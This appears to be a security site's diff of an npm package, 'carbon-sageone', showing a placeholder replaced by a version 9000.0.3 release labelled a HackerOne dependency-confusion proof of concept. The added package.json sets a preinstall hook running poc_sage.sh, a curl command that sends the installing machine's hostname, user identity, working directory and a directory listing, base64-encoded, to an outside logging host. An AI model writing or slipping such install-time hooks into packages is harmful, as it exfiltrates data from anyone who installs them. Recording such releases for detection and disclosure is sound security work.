carbon-sageone 0.0.1-security → 9000.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of carbon-sageone might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ //index.js
2
+
3
+ function helloSage() {
4
+ return "Dependency confusion attempt. HackerOne, @axfla";
5
+ }
6
+
7
+ module.exports = helloSage;
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "carbon-sageone",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9000.0.3",
4
+ "description": "H1 PoC @axfla",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "sh ./poc_sage.sh"
9
+ },
10
+ "author": "axfla",
11
+ "license": "ISC"
6
12
  }
package/poc_sage.sh ADDED
@@ -0,0 +1 @@
1
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(id | base64)" -H "Pwd: $(pwd | base64)" -d "$(ls -al ../.. | base64)" "https://d7.lc/sage_h1/logger.php"
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=carbon-sageone for more information.